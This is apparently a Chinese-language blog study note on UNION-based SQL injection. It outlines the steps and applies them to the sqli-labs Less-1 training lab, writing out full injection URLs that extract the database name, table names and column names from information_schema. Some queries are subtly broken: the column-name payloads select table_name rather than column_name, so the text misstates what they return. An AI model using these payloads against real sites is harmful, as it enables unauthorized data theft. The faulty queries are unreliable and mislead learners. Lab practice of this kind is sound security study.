hcie第五天总结sql注入1

sql注入操作流程
1,判断交互方式get/post/http/head。提交的数据在url显示的为get,而没有在url显示的为post。
2,判断数据库的执行语句。数据库类型不同,语句存在差异。
3,构造语句打破闭合。一般为’ ‘’ ‘) ‘’)
4,判断数据列的数量。通过排序函数order by来对某一列进行排序,不出错则含有该列,报错则没有,可以判断出列数。
5,判断页面显示位。通过联合查询union all语句将两个表合并显示在一个表中,列数要求一致。
  select * from users union all select 1,2,3 #可以将1,2,3和指定表同时显示,只要将第一个查询不显示,就能把一起显示的数据放在首行显示,一般将第一个查询设置为空即可。
6,利用显示位显示一些信息。可以用一些显示信息的函数代替显示位的数字
用database()可以显示出库名。
显示位判断
7,获取库名后,获取所有表名和相应的列名。
  select table_name from information_schema.tables wheretable_schema=‘库名’     #取表名
  select table_name from information_schema.columns where table_schema=‘库名’and table_name=‘表名’     #取列名
8,已知表和列,就可以查询到想要的数据。
实验
1,可以得知闭合类型为’
第一步
第一步2
2,可以得知只有3列
第二步1
第二步2
3,可以得知显示位只有2,3
第3步
4,可知库名为security
第四步
5,得知表名
http://192.168.29.130/sqli-labs-master/Less-1/?id=-1’ union all select 1,database(),(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1)–+   #通过修改limit x,1中的x值来决定查看第几个表名,而1表示步长。
第五步
6,得知列名
http://192.168.29.130/sqli-labs-master/Less-1/?id=-1’ union all select 1,database(),(select table_name from information_schema.columns where table_schema= ‘security’ and table_name=‘users’ limit 0,1)–+
第六步
7,得到表和列后替换简单的sql语句可以查到想要的东西
select password from users limit 0,1
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值